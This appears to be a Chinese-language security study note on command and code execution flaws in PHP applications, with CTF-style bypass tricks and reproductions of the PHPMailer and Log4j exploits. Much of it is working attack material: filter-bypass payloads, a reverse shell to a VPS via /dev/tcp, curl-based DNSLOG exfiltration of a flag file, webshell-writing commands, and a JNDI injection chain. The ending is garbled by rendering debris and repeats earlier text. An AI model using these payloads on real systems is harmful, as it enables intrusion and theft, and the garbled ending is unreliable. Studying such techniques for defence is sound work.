DAY23、命令执行&代码执行漏洞
1、命令执行 (RCE)
1.1、漏洞介绍
在Web程序中,Web引用有时需要调用一些执行系统命令的函数,如PHP中的 system、exec、shell_exec、passthru、popen、proc_popen
等,当用户或者攻击者能控制这些参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
1.2、漏洞利用条件
(1)Web应用需调用执行系统命令的函数
(2)将用户的输入作为系统命令的参数拼接到命令行中
(3)没有对用户输入做过滤或者过滤不严格
1.3、漏洞分类
针对于漏洞产生的条件、以及应用程序的不同,将命令执行漏洞分为此三类:
(1)代码层过滤不严:许多的程序在开发时,开发人员对输入过滤不严格,导致漏洞的产生。
(2)系统的漏洞造成的命令注入:bash破壳漏洞
(3)调用第三方组件存在代码执行漏洞 、
如wordpress中用来处理图片的ImageMagick组件
JAVA中的命令执行漏洞(struts2/ElasticsearchChroovy等)
ThinkPHP命令执行
1.4、命令执行函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23system() system() 输出并返回最后一行shell结果 exec() 返回命令执行的最后一行shell结果,但是不能直接输出结果 shell_exec() 如果执行过程中发送错误或者进程不产生输出,则返回NULL passthru() 执行外部程序,并且显示原始输出 popen() proc_popen()等 反撇号 `whoami` 与shell_exec功能相同,执行shell命令并返回输出的字符串 ob_start () ob_start:打开输出控制缓冲
1.5、Windows 常用分隔符
.bat
文件中的命令分隔符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15%0a %1a | 直接执行后面的语句 || 前面出错执行后面的,前面为假 & 前面的可真可假 && 前面的语句为假则直接出错,后面的也不执行,前面的只能为真
1.6、Linux 常用连接符
1
2
3
4
5
6
7; #前面的执行完后执行后面的 | #管道符,显示后面的执行结果 || #当前面的执行出错时执行后面的 & #起那面的语句为假则执行后面的,前面的可真可假 && #前面的语句为假则直接出错,后面的也不执行,前面的只能为真 ...... #Linux中常用的命令分隔符号还有 ` . ; - <> $ %0a %0d
1.7、Linux读取文件方式
1
2
3
4
5
6
7
8
9
10cat、tac #第一行最后显示,最后一行先显示 head、tail #显示开头和末尾的若干行 more、less #都是分屏显示 nl #和 cat -n 类似,显示行号 curl file://home/1.txt #curl命令结合file协议将木匾文件写入 wget file://var/www/html/key.php #Wget命令结合file协议,使用-o参数可写入到新文件 tac、less、od、more、head、tail、vim、vi、base64、xxd、nl、sort、cut、 uniq、strings、source、paste、grep、sed、source
常用命令:
1
2
3
4
5
6
7
8
9
10
11
12
13ls:列出文件list cd:切换目录change directory cp:复制copy mv:移动move rm:移除,删除remove mkdir:创建文件夹make directory chmod:更改文件的权限模式change mode find:查找 |:管道 grep:按行查找并匹配 tar:打包,压缩,解压 cat:打印文件内容
1.8、PHP 常见命令执行函数
1
2
3
4
5
6
7
8
9
10
11
12
13system eval exec shell_exec popen passthru 反引号 assert proc_open grep_replace (正则部分存在e修饰符) call_user_func 动态调用 $a($b) 形式
2、命令执行绕过姿态
2.1、空格绕过
1
2
3
4
5
6
7
8
9%09、%0d cat<flag cat<>flag cat${IFS}flag cat<flag cat$IFS$9flag cat%09flag {cat,flag}
2.2、命令分隔符绕过
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a
(.bat
文件中的命令分隔符)
;
:在 shell 中,担任”连续指令”功能的符号就是”分号”。命 令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。
&
:简单拼接 无制约
&&
:前面执行成功后面才会执行
|
:符号 左边输出 作为右边输入
2.3、敏感字符绕过( cat 为例)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15通配符绕过 /bin/c?t /flag /bin/ca* 利用变量绕过 利用base编码绕过 xxxxxxx | base64 `echo 'YFOIC9mbGFn' | base64 -d` 使用连接符、反斜杠绕过 ca''t cat 1.txt c'a't /etc/pass'w'd
/bin
下有命令,环境变量等
2.4、无回显情况:
1
2
3
4
5反弹shell curl 外带回显(wget也可以达到同样效果) VPS监听端口: nc -lvnp 1234 靶机执行命令: bash -c `exec bash -i & /dev/tcp/VPS_IP/1234 <&1`
1
2
3
4DNSLOG外带(无法外带特殊字符) 靶机执行命令:curl `cat /flag`.eu7q6z.dnslog.cn DNSLOG地址:http://dnslog.cn/
2.5、绕过长度限制
Linux 中的>
符号和 >>
符号
>
:覆盖文件
>>
:追加内容到文件
1
2
3
4
5echo '<?php'>1.php echo '@eval('>>1.php echo '$_GET[]'>>1.php echo '1]);'>>1.php
1
2
3
4
5[root@localhost ~]# cat > 1.sh > |ls 用于绕过内容长度限制
2.6、EOF 绕过
1
2
3
4<<EOF ...... EOF
eof(end of file)
是一个与标准输入/输出流相关联的标志位。当文件指针已经指向文件尾且再次尝试读取时,eof 标志会被设置。同时,某些函数会在读取到文件尾(即 eof 标志被设置)时返回 EOF 作为标识
2.7、RCE 篇----特殊
2.7.1、无回显的rce -------反弹shell 、空写、文件包含、木马编写
1
2php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=id
文件包含漏洞包含 /etc/passwd ,写入一句话木马
限制条件 php:7.2 以上
2.7.2、无参数 rce -------利用函数构造命令代码并且执行
示例:
1
2
3
4
5<?php if (';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) { eval($_GET['code']); }
解:
1
2
3?code=hex2bin(session_id(session_start())); session=hex:"phpinfo();"
2.7.3、无数字字母 rce
例子:
1
2
3
4
5
6
7
8
9
10<?php highlight_file(__FILE__); $a = $_GET['a']; if(preg_match("/[A-Za-z0-9]+/",$a)){ die("1!"); } @eval($a); #@system($a); ?>
1
2
3
4a=$_='_@_)@;@'^'/(/@.]/';$_(); ------------------------------------- phpinfo();
限制长度情况下命令执行
示例1:PHPMailer远程命令执行漏洞复现
这个致命的漏洞是由class.phpmailer.php
没有正确处理用户的请求导致的。结果远程攻击者能够在有弱点的服务器上远程执行代码。
这个漏洞影响了5.2.18版本之前的PHPMailer
当用PHPMailer发送一个邮件时,正常的处理是:
-
PHPMailer获取用户请求
-
PHPMailer校验用户提交的数据
-
PHPMailer传递数据到PHP的
mail()
函数发送邮件
在@前面,如果加上括号,将可以引入空格
向sendmail程序传入-X LogFile参数,会向LogFile 中记录 sendmail 的所有进出流量。因此,我们可以在邮件正文中键入我们的payload,然后利用上述漏洞,将其写进LogFile文件
比如:
1
2
3"qwfs". -OQueueDirectory=/tmp/. -X/var/www/html/qwe.php @ qwesdbd.com -x 进入跟踪方式,显示所执行的每一条命令
内容写入木马
poc解析:
-OQueueDirectory=/tmp
选择一个可以写的目录保存临时文件;
-X/var/www/qwe.php
保存日志文件到任意目录;
单引号属于强引用,它会忽略所有被引起来的字符的特殊处理,被引用起来的字符会被原封不动的使用,唯一需要注意的点是不允许引用自身;单引号将其中的内容都作为了字符串来,忽略所有的命令和特殊字符,类似于一个字符串的用法
双引号属于弱引用,它会对一些被引起来的字符进行特殊处理。
双引号与单引号的区别在于其可以包含特殊字符(单引号直接输出内部字符串,不解析特殊字符;双引号内则会解析特殊字符),包括', ", $,
,如果要忽略特殊字符,就可以利用来转义,忽略特殊字符,作为普通字符输出:
加载时间会比较长,加载完毕后,网页中直接访问 qwe.php 即可发现上传成功,蚁剑连接 getshell
成功
示例2:Log4j2 漏洞复现(vulhub靶场)
我们需要用JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
地址:sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)
首先我们需要知道这个地址是否有这个漏洞
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
${jndi:dns://${sys:java.version}.example.com}
是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:
1
2
3
4
5
6
7
8GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1 Host: your-ip:8983 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Connection: close
我们可以在DNS日志平台收到相关日志,显示出当前Java版本:
说明有这个漏洞,于是我们开始构建漏洞利用所需的payload
首先我们构造反弹shell用到的命令:
1
2bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1
1
2bash -i >& /dev/tcp/受控机的ip/9999 0>&1
反弹shell需要经过编码,所以我们对上面那段命令base64加密
加密完毕后构造payload,输入如下命令:
1
2java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,要编码的命令}|{base64,-d}|{bash,-i}" -A "攻击机的地址"
1
2java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" -A "xxx.xxx.xx.x"
在注入之前另起一个终端,监控刚刚的那个端口,这里是9999
1
2nc -lvvp 端口号
回到刚才的页面,构造url:
1
2/solr/admin/cores?action=${jndi:紫色部分全部选择一行,建议jdk1.8}
1
2/solr/admin/cores?action=${jndi:ldap://1xx.xx.xx.68:1389/8dxxrn}
输入回显 200
成功!
2、代码执行
PHP代码执行漏洞可以将代码注入到应用中,最终到webserver
去执行。该漏洞主要存在于eval()、assert()、 preg_replace()、call_user_func()、array_map()
以及动态函数中。
PHP 代码执行漏洞可将代码注入到应用
1
2
3crontab #计划任务 highlight_file
2.1、代码执行相关函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18eval() 将输入的字符串当做PHP代码执行 assert() 会检查指定的 assertion 并在结果为FALSE时采取适当的行动 call_user_func() 把第一参数作为回调函数 call_user_func_array() 调用回到函数,并把第一个数组参数作为回到函数的参数 array_map() 为数组的每个元素应用回调函数 $_GET['a']($_POST['b']); 动态函数调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15还有一些危险函数 preg_replace()、str_replace()、call_user_func()这些函数跟eval、exec等函数地特性相同,都属于危险函数 preg_replace(mixed pattern,mixed replacement,mixed subject [,int limit]) 此函数可以用来执行一个正则表达式的搜索和替换 $pattern 正则表达式匹配的内容 $replacement 用于替换的字符串或字符串数组 $subject 要搜索替换的目标字符串或字符串数组,当$pattern存在/e模式修正符,允许代码执行
t()
会检查指定的 assertion 并在结果为FALSE时采取适当的行动
call_user_func()
把第一参数作为回调函数
call_user_func_array()
调用回到函数,并把第一个数组参数作为回到函数的参数
array_map()
为数组的每个元素应用回调函数
G
E
T
[
′
a
′
]
(
_GET['a'](
GET[′a′](_POST[‘b’]);
动态函数调用
1
2
还有一些危险函数
preg_replace()、str_replace()、call_user_func()这些函数跟eval、exec等函数地特性相同,都属于危险函数
preg_replace(mixed pattern,mixed replacement,mixed subject [,int limit])
此函数可以用来执行一个正则表达式的搜索和替换
$pattern
正则表达式匹配的内容
$replacement
用于替换的字符串或字符串数组
s u b j e c t 要搜索替换的目标字符串或字符串数组,当 subject 要搜索替换的目标字符串或字符串数组,当 subject要搜索替换的目标字符串或字符串数组,当pattern存在/e模式修正符,允许代码执行
1
2
最后
以上就是矮小月饼最近收集整理的关于DAY23:命令执行&代码执行漏洞DAY23、命令执行&代码执行漏洞的全部内容,更多相关DAY23内容请搜索靠谱客的其他文章。
发表评论 取消回复